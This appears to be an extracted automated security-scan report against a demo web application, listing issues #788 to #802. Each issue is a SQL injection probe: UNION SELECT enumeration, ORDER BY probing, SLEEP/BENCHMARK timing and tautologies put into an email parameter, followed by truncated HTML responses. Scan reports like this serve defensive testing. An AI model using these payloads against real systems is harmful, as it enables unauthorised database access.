cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #788
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #789
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #790
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #791
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #792
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@
deepfence.ioOR x=y#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #793
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 31337
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #794
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1' ORDER BY 1,2,3--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #795
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #796
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)
+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #797Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #798
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #799
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #800
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language=
"javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet"
src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-
bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- 
Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ
bWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQ
IoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #801
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #802
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR x=x#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
